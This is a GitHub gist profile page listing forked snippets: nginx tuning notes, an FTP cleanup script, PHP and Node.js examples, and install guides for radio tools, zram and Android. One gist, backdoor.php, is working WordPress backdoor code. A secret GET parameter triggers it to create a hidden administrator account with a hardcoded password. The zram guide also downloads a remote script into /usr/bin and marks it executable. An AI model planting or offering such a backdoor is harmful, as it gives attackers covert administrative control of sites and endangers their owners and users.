Skip to content

Instantly share code, notes, and snippets.

View Rotron's full-sized avatar

Federico Saccà Rotron

View GitHub Profile
@Rotron
Rotron / nginx-tuning.md
Created April 11, 2020 21:52 — forked from denji/nginx-tuning.md
NGINX tuning for best performance

Moved to git repository: https://github.com/denji/nginx-tuning

NGINX Tuning For Best Performance

For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.

Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon with HyperThreading enabled, but it can work without problem on slower machines.

You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.

@Rotron
Rotron / cleanup_ftp.sh
Created March 4, 2020 10:07 — forked from allanscullion/cleanup_ftp.sh
Bash script to remove old files from an FTP server
#!/bin/bash
PROGNAME=$(basename $0)
OUTFILE="/tmp/ftplist.$RANDOM.txt"
CMDFILE="/tmp/ftpcmd.$RANDOM.txt"
ndays=14
print_usage() {
echo ""
@Rotron
Rotron / cleanup_ftp.sh
Created March 4, 2020 10:07 — forked from allanscullion/cleanup_ftp.sh
Bash script to remove old files from an FTP server
#!/bin/bash
PROGNAME=$(basename $0)
OUTFILE="/tmp/ftplist.$RANDOM.txt"
CMDFILE="/tmp/ftpcmd.$RANDOM.txt"
ndays=14
print_usage() {
echo ""
@Rotron
Rotron / latlong_to_locator.php
Created June 6, 2019 08:40 — forked from magicbug/latlong_to_locator.php
Latlong to Locator (Gridsquare) PHP Example
<?php
// Example Lat/Long aka IO91js
$latitude = "51.756435";
$longitude = "-1.246042";
echo latlong_to_locator($latitude, $longitude);
function latlong_to_locator ($latitude, $longitude) {
@Rotron
Rotron / index.js
Created March 28, 2019 15:24
Write buffer to file nodejs
var crypto = require('crypto');
var fs = require('fs');
var wstream = fs.createWriteStream('myBinaryFile');
// creates random Buffer of 100 bytes
var buffer = crypto.randomBytes(100);
wstream.write(buffer);
// create another Buffer of 100 bytes and write
wstream.write(crypto.randomBytes(100));
wstream.end();
@Rotron
Rotron / chattervox_install_macos.md
Created March 8, 2019 12:08 — forked from danc256/chattervox_install_macos.md
Chattervox Install Instructions

Chattervox on MacOS

Install Direwolf

The official Direwolf User Manual uses MacPorts to manage installation and dependencies. I don't particularly like MacPorts, so here are some instructions for installing Direwolf via Homebrew.

Install Direwolf via Homebrew

Overview

This document describes how to compile GQRX using native OSX Qt 5 and libraries from brew.

Requierements

Skip any part if you have corresponding component already installed.

Mac OS X 10.10 Yosemite

@Rotron
Rotron / backdoor.php
Created January 31, 2019 11:17 — forked from jgalea/backdoor.php
Create a backdoor to a WordPress website.
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@Rotron
Rotron / zram_install_instructions.txt
Created January 16, 2019 11:34 — forked from SeanChristopherConway/zram_install_instructions.txt
Install zram on a linux box(tested on raspberry pi jessie, stretch and also on ubuntu 16)
sudo wget -O /usr/bin/zram.sh https://raw.githubusercontent.com/novaspirit/rpi_zram/master/zram.sh
sudo chmod +x /usr/bin/zram.sh
sudo chmod +x /usr/bin/zram.sh
sudo nano /lib/systemd/system/zram.service
---- copy below to the file you just nano'd
[Unit]
Description=Enables zram
After=multi-user.target
@Rotron
Rotron / android_instructions_23.md
Created October 26, 2018 12:49 — forked from agrcrobles/android_instructions_29.md
Setup Android development environment on a Mac

Here is a high level overview for what you need to do to get most of an Android environment setup and maintained.

Prerequisites (for Homebrew at a minimum, lots of other tools need these too):

  • XCode is installed (via the App Store)
  • XCode command line tools are installed (xcode-select --install will prompt up a dialog)
  • Java

Install Homebrew: